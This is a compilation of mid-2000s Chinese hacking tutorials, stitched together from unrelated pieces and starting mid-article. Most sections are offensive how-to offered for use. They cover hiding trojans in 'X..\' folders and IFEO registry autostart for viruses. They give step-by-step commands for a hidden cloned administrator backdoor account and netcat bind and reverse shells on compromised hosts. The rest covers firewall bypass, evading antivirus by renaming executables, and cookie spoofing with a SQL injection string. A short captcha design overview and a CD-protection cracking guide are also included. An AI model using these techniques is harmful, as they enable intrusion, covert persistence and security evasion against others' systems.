目录不是空的。

F:\Test>rmdir s..\ /s
s..\, 是否确认(Y/N)? y

F:\Test>rmdir s...\ /s
s...\, 是否确认(Y/N)? y
----------------------------------------------

利用这个漏洞我们可以做很多事情，比如想访问“S”文件夹，但是没有权限的时候我们可以创建“S..\”来指向“S”这样就可以跨权限浏览。而且新一代的木马程序很可能利用此漏洞把自身藏在某个“X..\”目录下这样用户根本不可能发现他，就算专业级的杀毒软件也只会去杀“X”而跳过“X..\”。如果恶意程序在机的计算机上创建很多“..\”文件夹的话，哈哈～那个时候Fotmat也许是最好的选择了。现在微软官方好像还没有发布任何防范措施。

怎么样是不是有点晕了？不要怕“晕”是很正常的，我已经晕了很多次了。 ：）

=========好了，说了这么多可能有点乱了。下面我总结一下：=========

1；在Windows中创建“X..\”文件夹后该文件夹将无法通过常规方法删除，但是却可以Copy文件进去，在资源管理器显示为“X.”，错误的指向“X”文件夹。（嘿嘿，怎么有点像快捷方式？）

2；创建“X..\”的方法是在命令行输入“mkdir X..\”。

3；删除它的方法是在命令行输入“rmdir 目录名”，目录名就是你创建的时候的名字，如果忘记了可以先在资源管理器查看，然后加上“.\”。如果提示“文件夹不是空的”应该加上“/s”参数。

3；暂无防范方法。


程序随机启动的新方法

来源：http://haiwei.haha567.com
程序随机启动的新方法

2004年11月27日17:42星期六 [病毒之又见病毒]

看Windows内部揭密时，发现在一个像文件类型关联一样的东东
用来作病毒或木马的自启动是最好不过了：）
方法如下：
假设你想程序A.exe执行前就运行你的程序B.exe，则可以注册表
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options]
下建一个A.exe的项，再在A.exe下建一个Debugger的键，键值就是你的程序B.exe的全路径。
OK.就这么简单／／／


网上几种常见校验码图片分析

前几天受刺激了，准备把CSDN的校验码图片修改。就上网找了一些参考示例。和分析了一些校验码的功能。不敢独享，整理到一起，跟大家分享。

至于CSDN新的校验码写法，不是这里面的任何一种。也不是网上可以找到的。这个不好公开，如果想研究校验码图片，建议研究我这里给的几个推荐链接。

一些常见的验证码效果图：

功能分析：
一般校验码具有的功能：
1、显示内容
显示内容一般是数字或者数字+字符，还有更变态的，显示的内容是随机汉字。
如何随机生成汉字，请看：
《用C#生成随机中文汉字验证码的基本原理》
 http://wulei8899.cnblogs.com/archive/2005/06/29/183200.html

2、内容显示
内容显示这里，有很多做法，常见的有以下几种：
2.1 以一个不常被看到的字体显示内容，
2.2 字体随机倾斜显示
2.3 每个字随机显示不同颜色
2.4 内容随机显示在不同位置。
2.5 文字采用就渐变颜色，同一个字就有好几种颜色组成。

3、背景显示
常见背景显示方案：
3.1、使用干扰线来，后面随机显示数条干扰线，这些线的颜色跟字体的颜色类似
3.2、干扰点，后面随机显示数个干扰点，这些点的颜色跟字体的颜色类似
3.3、干扰色块，后面随机出现一个色块进行干扰

常见几种开源的校验码生成代码

效果图：
相关文章：ASP.net 验证码(C#)
http://blog.csdn.net/SW515/archive/2005/02/03/279364.aspx
我个人在这些开源校验码中，最喜欢这个，校验码不会复杂到用户识别不了，而程序判断又有相当的难度

相关文章：ASP 生成 彩色 可变长 验证码程序
 http://www.codefans.com/ArticleView/Article_6728.html

Asp.Net 动态生成验证码
 http://sleeping.cnblogs.com/archive/2005/12/19/299980.html

象 DEV-Club 那样的彩色校验码
http://www.blueidea.com/tech/program/2003/709.asp

C＃的彩色验证码
 http://www.codefans.com/ArticleView/Article_6745.html

VerifyCode(asp),gif验证码生成技术
 http://www.codefans.com/ArticleView/Article_6735.html

region 实现一个验证码的类
http://www.innerv.com/blogview.asp?logID=509&cateID=5

如何在asp.net中动态生成验证码
 http://www.dwww.cn/new/2005911154522249.html

256色BMP图片验证码识别脚本
 http://www.51cto.com/html/2005/1101/10438.htm

QQ验证码识别源代码（C#/NET1.1）
 http://www.intodigi.com/Net/Website/Program/NET/12082.html


克隆管理员帐号的方法
经常看到一些人在入侵一台Windows 2000或者Windows NT后堂而皇之地创建一个管理员组的用户，似乎当管理员不存在一般，今天偶违背一下偶以前的初衷，Share一个类似于RootKit的玩艺，当然，这些过程也是可以用脚本实现的，但是我就不写了，OK，Show Time Now。
首先要让大家知道的概念是在Windows 2000和Windows NT里，默认管理员帐号的SID是固定的500（0x1f4），那么我们可以用机器里已经存在的一个帐号将SID为500的帐号进行克隆，在这里我们选择的帐号是IUSR_MachineName（当然，为了加强隐蔽性，我们选择了这个帐号，所有用户都可以用以下的方法，只不过这个用户较常见罢了），测试环境为Windows 2000 Server。
运行一个System的CMD Shell( http://www.sometips.com/tips/scripts/173.htm 或使用 Http://www.sometips.com/soft/psu.exe)，然后在该CMD Shell里面运行

regedit /e adam.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users0001F4

这样我们将SID 为500的管理员帐号的相关信息导出，然后编辑adam.reg文件，将adam.reg文件的第三行--[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users0001F4]最后的'1F4'修改为IUSR_MachineName的SID（大部分的机器该用户的SID都为0x3E9，如果机器在最初安装的时候没有安装IIS，而自己创建了帐号后再安装IIS就有可能不是这个值），将Root.reg文件中的'1F4'修改为'3E9'后执行
regedit /s adam.reg
导入该Reg文件
然后运行
net user IUSR_MachineName Sometips
修改IUSR_MachineName的密码（最好使用14位的密码，越像IUSR_MachineName的密码越好） OK,大功告成...
这样，我们拥有和默认管理员一样的桌面、一样的Profile.....
而且，当我们运行 net localgroup administrators 时，看看结果：
C:\>net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
The command completed successfully.
再看看USER2SID的输出结果：
C:\>user2sid Administrator
S-1-5-21-1004336348-1078145449-854245398-500
Number of subauthorities is 5
Domain is IDONTKNOW
Length of SID in memory is 28 bytes
Type of SID is SidTypeUser
C:\>user2sid iusr_machinename
S-1-5-21-1004336348-1078145449-854245398-1001
Number of subauthorities is 5
Domain is IDONTKNOW
Length of SID in memory is 28 bytes
Type of SID is SidTypeUser
我想，再高明的管理员也看不到任何的异状了...而且，随便管理员改成什么密码，我照样可以用IUSR_MachineName，密码为Sometips登陆...(没有哪位大侠级的管理员喜欢经常修改IUSR_MachineName为其他的名字吧)
^_^，这算不算RootKit...
附：
1、感谢叮叮付出需要reinstall OS的代价...
2、任何用以上方法进行试验所导致的系统无法使用均与偶无关，偶均不提供技术支持...
-----------------------------------------------------------------------------
叮叮 的补充完善
很多人提到使用了管理工具的用户管理后，能够发现IUSR_MachineName被提升了权限。
现给出解决办法。
方法同上，不过这次修改内容多一些。即
这次要导出两个key内容：
一个是adam提到的
regedit /e adam.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users0001F4
然后另外一个是你需要修改那个账号的值
regedit /e iusr.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users0003E9
然后按照adam提到的修改adam.reg
“将adam.reg文件的第三行--[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users0001F4]最后的'1F4'修改为IUSR_MachineName的SID”
现在，你还要从iusr.reg文件中复制一下内容
就是将iusr.reg文件中“'V'=hex:0”开始一直到iusr.reg文件结束部分复制下来
然后替换掉adam.reg中同样位置的部分
最后使用
regedit /s adam.reg
导入该Reg文件
呵呵，别忘了给这个IUSR_MachineName改密码哦。
hehe,ok，大功告成。
现在IUSR_MachineName账号拥有了管理员的权限，但是你使用net.exe和
管理工具中的用户管理都将看不到任何痕迹，即使你去察看所属于的组和用户。
都和修改前没有任何区别。
好了，补充结束。


用NC的心得
NC的参数解释：
    -e　程序重定向
    -t　用telnet来回应
    -l　 监听本地端口
    -p　 指定本地端口
    -v　 获得端口信息
    -vv　 获得详细的端口信息
    -z　 关闭输入输出
    -n　 指定IP地址
    -w　设定超时时间
    -u　 UDP端口
    我就知道这么些参数 了：
    一、
    nc -l -v -p 7626
    这就是打开本地的7626端口进行监听，并反馈连接信息这样如果有扫描冰河木马的人会认为你中了木马开放了7626，和“小猪快跑”的功能有点象，再加个批处理文件一起用的话就是一个“小猪快跑”了.
    如果要监视是否有入侵本地80端口的行为，并记下来，用这个命令：
    nc -l -p 80　>>c:\日志.dat
    这样，凡是有针对本机80端口的攻击都会被记录下来的.
    二、
    如果你通过溢出进入了别人的机器，就可以运行：
    nc -l -p 123 -e cmd.exe
    或者是: nc -l -p 123 -t
    作用都是以cmd.exe来响应到机器上123端口的连接.
    这样就把溢出的主机变成了一台telnet肉鸡了!
    你也可一用命令让肉鸡主动连接你的主机,假设我的IP是192.168.0.1 .
    在肉鸡上运行： nc -e cmd.exe 192.168.0.1 777
    再在本地机器上运行： nc -l -p 777
    意思是让肉鸡将cmd.exe(就是个shell)主动响应到你电脑的777端口。
    你再在本地机上监听777端口，这样就进入了对方的cmd了。
    这也微十时毫 反弹端口式木马的原理了。
    三、
    用这个命令：
    nc -v 192.168.0.25 80
    就获得了192.168.0.25的80端口的信息。
    可以获得IIS版本等很多重要信息 的 。
    四、
    你也可以将NC作为扫描器使用：
    nc -v -z 192.168.0.25 1-100
    扫描192.168.0.25的1到100间的TCP端口
    用nc -v -z -u 192.168.0.25 1-100
    这是扫描1到00间的UDP端口。
    这些就是我这几天悟出来的。
    大家还有心得什么没有啊!


如何突破各种防火墙的防护
现在随着人们的安全意识加强，防火墙一般都被公司企业采用来保障网络的安全，一般的攻击者在有防火墙的情况下，一般是很难入侵的。
下面谈谈有防火墙环境下的攻击和检测。
一、 防火墙基本原理

首先，我们需要了解一些基本的防火墙实现原理。防火墙目前主要分包过滤，和状态检测的包过滤，应用层代理防火墙。但是他们的基本实现都是类似的。

| | ---【路由器】-----【网卡】|【防火墙】|【网卡】|----------【内部网络】 | |

防火墙一般有两个以上的网络卡，一个连到外部（router)，另一个是连到内部网络。当打开主机网络转发功能时，两个网卡间的网络通讯能直接通过。
当有防火墙时，他好比插在网卡之间，对所有的网络通讯进行控制。
说到访问控制，这是防火墙的核心了：），防火墙主要通过一个访问控制表来判断的，他的形式一般是一连串的如下规则：

1 accept from+ 源地址，端口 to+ 目的地址，端口+ 采取的动作
2 deny .（deny就是拒绝。。)
3 nat (nat是地址转换。后面说）

防火墙在网络层（包括以下的炼路层）接受到网络数据包后，就从上面的规则连表一条一条地匹配，如果符合就执行预先安排的动作了！如丢弃包。。。。
但是，不同的防火墙，在判断攻击行为时，有实现上的差别。下面结合实现原理说说可能的攻击。
二、攻击包过滤防火墙

包过滤防火墙是最简单的一种了，它在网络层截获网络数据包，根据防火墙的规则表，来检测攻击行为。他根据数据包的源IP地址；目的IP地址；
TCP/UDP源端口；TCP/UDP目的端口来过滤！！很容易受到如下攻击：

1 ip 欺骗攻击
这种攻击，主要是修改数据包的源，目的地址和端口，模仿一些合法的数据包来骗过防火墙的检测。如：外部攻击者，将他的数据报源地址改为内部网络地址，防火墙看到是合法地址就放行了：）。可是，如果防火墙能结合接口，地址来匹配，这种攻击就不能成功了：（
2 d.o.s拒绝服务攻击
简单的包过滤防火墙不能跟踪 tcp的状态，很容易受到拒绝服务攻击，一旦防火墙受到d.o. s攻击，他可能会忙于处理，而忘记了他自己的过滤功能。：）你就可以饶过了，不过这样攻击还很少的。！
3 分片攻击
这种攻击的原理是：在IP的分片包中，所有的分片包用一个分片偏移字段标志分片包的顺序，但是，只有第一个分片包含有TCP端口号的信息。当IP分片包通过分组过滤防火墙时，防火墙只根据第一个分片包的Tcp信息判断是否允许通过，而其他后续的分片不作防火墙检测，直接让它们通过。
这样，攻击者就可以通过先发送第一个合法的IP分片，骗过防火墙的检测，接着封装了恶意数据的后续分片包就可以直接穿透防火墙，直接到达内部网络主机，从而威胁网络和主机的安全。
4 木马攻击
对于包过滤防火墙最有效的攻击就是木马了，一但你在内部网络安装了木马，防火墙基本上是无能为力的。
原因是：包过滤防火墙一般只过滤低端口（1-1024），而高端口他不可能过滤的（因为，一些服务要用到高端口，因此防火墙不能关闭高端口的），所以很多的木马都在高端口打开等待，如冰河，subseven等。。。
但是木马攻击的前提是必须先上传，运行木马，对于简单的包过滤防火墙来说，是容易做的。这里不写这个了。大概就是利用内部网络主机开放的服务漏洞。
早期的防火墙都是这种简单的包过滤型的，到现在已很少了，不过也有。现在的包过滤采用的是状态检测技术，下面谈谈状态检测的包过滤防火墙。
三、攻击状态检测的包过滤

状态检测技术最早是checkpoint提出的，在国内的许多防火墙都声称实现了状态检测技术。
可是：）很多是没有实现的。到底什么是状态检测？
一句话，状态检测就是从tcp连接的建立到终止都跟踪检测的技术。
原先的包过滤，是拿一个一个单独的数据包来匹配规则的。可是我们知道，同一个tcp连接，他的数据包是前后关联的，先是syn>>数据包>>fin包。
数据包的前后序列号是相关的。
如果割裂这些关系，单独的过滤数据包，很容易被精心够造的攻击数据包欺骗！！！如nmap的攻击扫描，就有利用syn包，fin包，reset包来探测防火墙后面的网络。！
相反，一个完全的状态检测防火墙，他在发起连接就判断，如果符合规则，就在内存登记了这个连接的状态信息（地址，port，选项。。）,后续的属于同一个连接的数据包，就不需要在检测了。直接通过。而一些精心够造的攻击数据包由于没有在内存登记相应的状态信息， 都被丢弃了。这样这些攻击数据包，就不能饶过防火墙了。
说状态检测必须提到动态规则技术。在状态检测里，采用动态规则技术，原先高端口的问题 就可以解决了。实现原理是：平时，防火墙可以过滤内部网络的所有端口(1-65535),外部攻 击者难于发现入侵的切入点，可是为了不影响正常的服务，防火墙一但检测到服务必须开放高端口时，如（ftp协议，irc等），防火墙在内存就可以动态地天加一条规则打开相关的高端口。等服务完成后，这条规则就又被防火墙删除。这样，既保障了安全，又不影响正常服务，速度也快。！
一般来说，完全实现了状态检测技术防火墙，智能性都比较高，一些扫描攻击还能自动的反应，因此，攻击者要很小心才不会被发现。
但是，也有不少的攻击手段对付这种防火墙的。
1 协议隧道攻击
协议隧道的攻击思想类似与VPN的实现原理，攻击者将一些恶意的攻击数据包隐藏在一些协议分组的头部，从而穿透防火墙系统对内部网络进行攻击。
例如，许多简单地允许ICMP回射请求、ICMP回射应答和UDP分组通过的防火墙就容易受到ICMP和UDP协议隧道的攻击。Loki和lokid（攻击的客户端和服务端）是实施这种攻击的有效的工具。在实际攻击中，攻击者首先必须设法在内部网络的一个系统上安装上lokid服务端，而后攻击者就可以通过loki客户端将希望远程执行的攻击命令（对应IP分组）嵌入在ICMP或UDP包头部，再发送给内部网络服务端lokid，由它执行其中的命令，并以同样的方式返回结果。由于许多防火墙允许ICMP和UDP分组自由出入，因此攻击者的恶意数据就能附带在正常的分组，绕过防火墙的认证，顺利地到达攻击目标主机
下面的命令是用于启动lokid服务器程序：
lokid-p–I–vl
loki客户程序则如下启动：
loki–d172.29.11.191(攻击目标主机)-p–I–v1–t3
这样，lokid和loki就联合提供了一个穿透防火墙系统访问目标系统的一个后门。
2 利用FTP-pasv绕过防火墙认证的攻击
FTP-pasv攻击是针对防火墙实施入侵的重要手段之一。目前很多防火墙不能过滤这种攻击手段。如CheckPoint的Firewall-1，在监视FTP服务器发送给客户端的包的过程中，它在每个包中寻找"227"这个字符串。如果发现这种包，将从中提取目标地址和端口，并对目标地址加以验证，通过后，将允许建立到该地址的TCP连接。
攻击者通过这个特性，可以设法连接受防火墙保护的服务器和服务。详细的描述可见
http://www.checkpoint.com/techsupport/alerts/pasvftp.html。
3 反弹木马攻击
反弹木马是对付这种防火墙的最有效的方法。攻击者在内部网络的反弹木马定时地连接外部攻击者控制的主机，由于连接是从内部发起的，防火墙（任何的防火墙）都认为是一个合法的连接，因此基本上防火墙的盲区就是这里了。防火墙不能区分木马的连接和合法的连接。
但是这种攻击的局限是：必须首先安装这个木马！！！所有的木马的第一步都是关键！！！！

四、攻击代理

代理是运行在应用层的防火墙，他实质是启动两个连接，一个是客户到代理，另一个是代理到目的服务器。
实现上比较简单，和前面的一样也是根据规则过滤。由于运行在应用层速度比较慢/1
攻击代理的方法很多。
这里就以wingate为例，简单说说了。（太累了）
WinGate是目前应用非常广泛的一种Windows95/NT代理防火墙软件，内部用户可以通过一台安装有WinGate的主机访问外部网络，但是它也存在着几个安全脆弱点。
黑客经常利用这些安全漏洞获得WinGate的非授权Web、Socks和Telnet的访问，从而伪装成WinGate主机的身份对下一个攻击目标发动攻击。因此，这种攻击非常难于被跟踪和记录。
导致WinGate安全漏洞的原因大多数是管理员没有根据网络的实际情况对WinGate代理防火墙软件进行合理的设置，只是简单地从缺省设置安装完毕后就让软件运行，这就给攻击者可乘之机。
1 非授权Web访问
某些WinGate版本（如运行在NT系统下的2.1d版本）在误配置情况下，允许外部主机完全匿名地访问因特网。因此，外部攻击者就可以利用WinGate主机来对Web服务器发动各种Web攻击（如CGI的漏洞攻击等），同时由于Web攻击的所有报文都是从80号Tcp端口穿过的，因此，很难追踪到攻击者的来源。
检测
检测WinGate主机是否有这种安全漏洞的方法如下：
1) 以一个不会被过滤掉的连接（譬如说拨号连接）连接到因特网上。
2) 把浏览器的代理服务器地址指向待测试的WinGate主机。
如果浏览器能访问到因特网，则WinGate主机存在着非授权Web访问漏洞。
2 非授权Socks访问
在WinGate的缺省配置中，Socks代理（1080号Tcp端口）同样是存在安全漏洞。与打开的Web 代理（80号Tcp端口）一样，外部攻击者可以利用Socks代理访问因特网。
防范
要防止攻击WinGate的这个安全脆弱点，管理员可以限制特定服务的捆绑。在多宿主（multi homed）系统上，执行以下步骤以限定如何提供代理服务。
1选择Socks或WWWProxyServer属性。
2选择Bindings标签。
3按下ConnectionsWillBeAcceptedOnTheFollowingInterfaceOnly按钮，并指定本WinGate服
务器的内部接口 。
3 非授权Telnet访问
它是WinGate最具威胁的安全漏洞。通过连接到一个误配置的WinGate服务器的Telnet服务， 攻击者可以使用别人的主机隐藏自己的踪迹，随意地发动攻击。
检测
检测WinGate主机是否有这种安全漏洞的方法如下：
1使用telnet尝试连接到一台WinGate服务器。
[root@happy/tmp]#telnet172.29.11.191
Trying172.29.11.191….
Connectedto172.29.11.191.
Escapecharacteris‘^]’.
Wingate>10.50.21.5
如果接受到如上的响应文本，那就输入待连接到的网站。
如果看到了该新系统的登录提示符，那么该服务器是脆弱的。
Connectedtohost10.50.21.5…Connected
SunOS5.6
Login:
对策
防止这种安全脆弱点的方法和防止非授权Socks访问的方法类似。在WinGate中简单地限制特定服务的捆绑
就可以解决这个问题。一般来说，在多宿主（multihomed）系统管理员可以通过执行以下步骤来完成：
1选择TelnetSever属性。
2选择Bindings标签。
3按下ConnectionsWillBeAcceptedOnTheFollowingInterfaceOnly按钮，并指定本WinGate服务器的内部接口。

五、后话

有防火墙的攻击不单是上面的一点，我有什么写的不对的，大家指正。
一直以来，黑客都在研究攻击防火墙的技术和手段，攻击的手法和技术越来越智能化和多样化。但是就黑客攻击防火墙的过程上看，大概可以分为三类攻击。

第一类攻击防火墙的方法是探测在目标网络上安装的是何种防火墙系统并且找出此防火墙系统允许哪些服务。我们叫它为对防火墙的探测攻击。
第二类攻击防火墙的方法是采取地址欺骗、TCP序号攻击等手法绕过防火墙的认证机制，从而对防火墙和内部网络破坏。
第三类攻击防火墙的方法是寻找、利用防火墙系统实现和设计上的安全漏洞，从而有针对性地发动攻击。这种攻击难度比较大，可是破坏性很大


利用cmd躲过肉鸡病毒防火墙的方法

很多软件都已经被列为病毒!比如：opentelnet，ca等，放到肉鸡上很可能就被杀掉....不爽连SkSockServer都被列为病毒...郁闷啊！！
经过几次尝试，我想到了一种简单的躲过杀毒软件的方法。那就是更改可执行程序的扩展名。
比如我们可以把SkSockServer.exe更改为sk.jpg这样的话，杀毒软件就查不出来了。
在直接双击执行更改过扩展名的程序时候，系统便会询问用什么方式打开，也就是说windows也认不出来。
但是我们在cmd命令行中却可以执行。是不是很神奇？？？而且和没改扩展名的时候效果是一样的。
不同的是，当我们要执行更改了扩展名的程序时候需要打全名(把扩展名也打上)。
下面是我在本机上安装sksockserver(sk.jpg)：

首先：
我们利用没改扩展名的程序：
E:\>SkSockServer -install
拒绝访问。

这时就弹出瑞星的病毒提示，说发现病毒！
下面我们看看改过扩展名的。
E:\>sk.jpg -install
Snake SockProxy Service installed.
E:\>sk.jpg -config port 1800
The Port value have set to 1800
E:\>sk.jpg -config starttype 2
The New StartType have set to 2 -- Auto
E:\>net start skserver
Snake SockProxy Service 服务正在启动 .
Snake SockProxy Service 服务已经启动成功。

ok！成功！
现在我们不怕杀毒软件了！而其他的在命令行执行的程序也可以用这种方法。
我就不一一叙述了。

原理：
其实原理很简单，我们利用了cmd判断文件类型的方法：
在CMD中，系统首先判断文件的类型是否是执行文件，
判断方法不是文件扩展名，而是文件头的PE段。
如是执行文件，则执行它。
如不是，再根据相应的关联启动相应程序。
如没有输入扩展名，则系统将默认扩展名为BAT，EXE,COM
依次判断。
也就是说，程序更改了扩展名后，只有cmd.exe能“认”出它来，
因为cmd不是根据扩展名来判断文件类型的。
而windows是靠扩展名来判断文件类型的.
这样，我们就可以骗过windows和杀毒软件。


一， 一般的光盘加密方法与破解方法
1． 隐藏目录与文件法
一般来说，将文件和目录隐藏起来而让别人无法看到的做法是最普遍的，我们在用Ahead刻制光盘的时候设置其属性为windows隐藏属性就可以达到这样的效果，但是最普遍的就意味着最容易被人破解：破解的时候只要简单的打开windows显示隐藏文件夹的功能就可以破解了。实在不是什么好办法。
2． 变相的隐藏目录和文件法
这种方法要比前面的那种要好一点，它利用特殊的光盘软件将光盘文件和目录的属性改为其它数值。
在光盘目录里，光盘文件也有一个同windows对应的FDT（文件目录表）。FDT中的某个数据位可以指示出文件的属性：01表示系统属性，02表示只读属性，04表示隐藏属性——这个数值只是由一个字节来表示，如果我们把其改为了其它数值，那么windows就无法识别了！
这样隐藏的效果比前一个要好，即使在windows里设置了“显示所有文件”也不能看到隐藏在光盘中的文件——不过还是可以方便的破解：我们可以用“光盘加密大师”的自定义目录属性来修改它：

在这里我们设置文件和目录的属性为06。遇到这样的加密措施我们唯一可以做到的就是把光盘的FDT读出来。
读者朋友可能就要问了：要怎么才能把光盘的FDT读出来呢？呵呵，在这里我们推荐你使用Vurtual disk 5.0就可以。这是台湾出的一款虚拟光驱软件，所有操作都是傻瓜化的，这里也就不浪费大家的时间了！我们读出了FDT自然就看到哪些目录不在你现在加密的光盘上出现，要找的东西自然就是它了！
3． 文件，目录互换法
这个道理和前面的第二个方法相似，只是它要聪明一点：在FDT中直接把表示目录的位变成了表示文件的位！但是，它在本质上仍然是目录，这是永远改不了的！
下面我们采用特殊工具把一个“常用软件”目录变成了一个文件：

看上去还真的象一个文件的样子。用鼠标双击它看看，呵呵~~别告诉我你的计算机差点就没反应了。破解办法：

呵呵，是不是差点笑掉了大牙　：）　？直接在dos状态下来一个cd命令就摆平了，（msdos可是学习安全不可缺少的东西哦！）。Ps:当实际运用的时候，你发现一个没有图标的文件，大小为2k，并且在windows里面打不开，这时候年就该考虑一下它是是不是目录了！
4． 特殊字符目录法
在windows里，大部分的用的都是中文和英文字母，如果光盘加密的时候采用了特殊字符来加密的话，我们就看不到目录的名字了，这也是许多数字资料光盘在加密的时候常常选用的方法。
常见的特殊字符如：\ \（真担心排版都软件会看不到它?）下面这个图片就是在寻找特殊目录的时候看到的：

是不是觉得够玄啊，有点象攻防实验室的777.jpg了。看到gphyview.exe前面的那个字符了吗？
遇到这样的光盘关键是找到这个特殊字符是什么了。一般来说如果加密光盘附带程序，那么你打开这个程序搜索”\”这个字符一般会有你想要的结果。就跟上面这幅图一样。如果不幸运的话，你就只能用读光盘FDT的方法了。
二． 更为狡诈的光盘加密与解密思路
点子都是人想出来的，下面我们将重点介绍一些鲜为人知的光盘加密办法。请大家看好了。
1． 超大文件加密法
加密后的现象：
? 如果是可执行，文件的图标变成了一个msdos应用程序的图标。如果是一般文件，则图标依windows内部文件类型为准。
? 文件的大小突变为：1.99GB。呵呵，够大吧，象DVD了。
? 可执行文件如果大小变为了1.99GB后依然可以运行。厉害吧。
? 如果你试图拷贝这个文件，那么你得到的结果将是：

如果你要打开这个不是可执行文件的超大文件的话你将得到“没有足够的内存”的提示。没话说了吧，如果你的空间大的话，你是可以copy的，试问你的硬盘有多少个1.99GB呢？加密者通常是把所有可执行文件加密为超大文件。
破解方法：
对于可执行文件：我们可以先直接运行这个可执行文件，然后用进程copy软件，象pedump。把文件从内存中重新建立为文件。如果你对破解工具不是很熟悉，那么你可以先点击这个文件运行看看。如果程序马上就出现了界面，说明这个软件不是很大，一般为500K以内。如果要等5秒才出来，那么这个软件大概有3M 的样子。那么我们可以自己编写一个软件，只读取这个文件的前5M来运行就可以了。更通用的办法是采用Winhex的文件编辑功能。用winhex直接打开那个超大文件就可以了。呵呵~~打开后winhex就自动报告这个文件的大小。你只需要另存为就搞定了。
对于非可执行文件：我们依旧采用winhex的直接打开文件法，如果不是可执行文件，我们就需要一个小技巧：直接把winhex的滚动条向下面拉，拉不远winhex就要报错：

这时候在出错的地方记录下文件的偏移位置，关闭文件，再用winhex打开文件，直接保存到出错前的一个偏移字节就可以了。当然如果你兴趣高涨，用软件自己写一个批量处理超大文件的程序也可以。思路是：读到出错的地方保存一下文件偏移地址，也就是文件指针；第二次读的时候就读到偏移处，超大文件就变正常文件了。
2． 刻录光盘轨道隐藏法
一般来说用这一招的人都是算够狠的了。又不是什么007机密，非要那样隐蔽吗？希望朋友尽量不要去制造这样的光盘，破解起来太ＢＴ了！
加密后的现象：
光盘加密后没有任何奇怪的表现。用以上我说的任何方法去寻找隐藏文件都会失败。如果光盘上的文件是200M，那么它的确也只是200M。采用这种加密措施后，唯一的迹象就是光盘不满！ps：倒，你这不是废话吗？几乎98%的光盘都没刻满那么多。大家别着急啊，等我喝口水。这其中的玄机是：刻录软件把一张光盘分为多重区段的方式来刻，这次没刻满最大容量下次可以继续再刻。关键就是加密者先把重要的资料刻好，第二次刻盘的时候就把上次刻的文件删除了，再加入一些新的图片资料等，所以当一张光盘还没被终结刻录的时候是可以任意修改的。连卷标都可以随意改，当然是非常隐蔽了！
破解方法：
解灵还需要系灵人，找到刻录软件，如Ahead nero就不错。放入刻录机内，用nero对这张光盘进行多重区段编辑。我们直接点查看光盘区段就会发现有多个区段的存在。利用nero的区段保存方式直接保存为ISO文件就可以了。

从上面的窗口我们可以得到，该光盘被刻录过3次，区段01被刻录了136Mb,如果加密者在刻录完这136MB的内容的时候，把刻上去的东西删除了，再刻2、3区段，那么光盘的表现形式就是2、3区段的文件。
采用保存轨道的方式见下，我们就可以得到轨道的ISO文件了。

顺便说一下，WINRAR可以解开ISO文件。怎么样，惊喜吧？

总结：加密和解密永远是矛和盾，看来我们写的软件注定要被别人盗版了？这就需要软件开发者在软件自己上完善反盗本功能。加密你的光盘，加密你的资料，希望本文带给你的是如何保护自己软件的方法，而不是叫你去盗别人的加密光盘。谨记！！


ＣＯＯＫＩＥ欺骗
现在有很多社区网为了方便网友浏览，都使用了cookie技术以避免多次输入密码（就如the9和vr），所以只要对服务器递交给用户的cookie进行改写就可以达到欺骗服务程序的目的。
ＣＯＯＫＩＥ欺骗原理

按照浏览器的约定，只有来自同一域名的cookie才可以读写，而cookie只是浏览器的，对通讯协议无影响，所以要进行cookie欺骗可以有多种途径：
１、跳过浏览器，直接对通讯数据改写
２、修改浏览器，让浏览器从本地可以读写任意域名cookie
３、使用签名脚本，让浏览器从本地可以读写任意域名cookie（有安全问题）
４、欺骗浏览器，让浏览器获得假的域名
其中：
方法１、２需要较专业的编程知识，对普通用户不太合适。
方法３的实现有２种方法：
１、直接使用签名脚本，不需要签名验证，但是产生很严重的安全问题，因为大家都要上网的，如果这样做你的硬盘文件就……
２、对脚本进行签名后再使用签名脚本，但是需要专用的数字签名工具，对普通用户也不合适。
方法４看样子应该是最合适的了，域名欺骗很简单，也不需要什么工具（当然如果你的机器装有web服务器那更好了），下面我以the9为例，以这种方法为基础，阐述一下cookie欺骗的过程（下文中提到的任何服务端的bug，the9都已经做了改进，所以本文对the9无安全方面的影响）：
注：我们讨论的cookie是那种不会在硬盘的cookie文件里留下踪迹的cookie，就是那种只在浏览器生存周期内（会话）产生的cookie，如果浏览器关闭（会话结束）那么这个cookie就被删了！
ＣＯＯＫＩＥ欺骗实战

the9在登陆的时候会返回３个cookie（这可把浏览器的警告cookie选项打开时看到）：
cgl_random（随即序列号）：登陆识别的记号
cgl_loginname（登陆名）：身份的识别记号
cgl_areaid（小区号）：你居住的小区号码
只要把cgl_loginname填入正确的登陆名，再对cgl_random进行修改，就可以达到欺骗服务程序的目的。
一般欺骗php程序的字符串为：
1''or''1''=''1
把这个填入cgl_random，服务程序就被欺骗了！
因为服务程序不太可能对cookie进行语法检查（the9现在改进了），那么把这个字符串填入，就可以成功的欺骗对方程序，而达到突破的目的了！
现在的问题是，如何使浏览器把这个我改过的cookie返回给the9？
看一看the9的域名吧：http://www.the9.com/，而浏览器的cookie警告已经告诉了我们这３个cookie会返回给有.the9.com这个域名的服务器，哎？我的机器上正好有web服务器，那么动手吧！
先编一个设置cookie的html，就叫cookie.htm吧，然后把这个cookie放进web目录，这样还不行，因为我的机器的域名没设，那么设置host的名字，可是如果在网络设置中进行设置的话，机器要重启动的，还是想想别的简单的办法吧！
然后我们应该编辑hosts文件，这个文件应该在windows目录下，你有可能找不到它，但是如果你找到了hosts.sam文件，那么把它后面的扩展名去掉，就是我们要的文件了！
编辑hosts文件，填入以下一行:
127.0.0.1 www0.the9.com
解释一下，127.0.0.1是本机的lo地址，可以用做web地址，而www0.the9.com就是我们欺骗产生的域名。
然后在浏览器中输入http://www0.the9.com/cookie.htm，看，页面出来了，快设置cookie吧！
直接访问http;//www.the9.com/main.htm看看，不错吧！
但是不是所有的网友都有自己的web服务器啊！那怎么办呢？
其实如果你有个人主页的话，也可以达到cookie欺骗的目的，比如某个个人主页的服务器的ip地址是1.2.3.4，先上传cookie.htm文件，再编辑hosts文件：
1.2.3.4 www0.the9.com
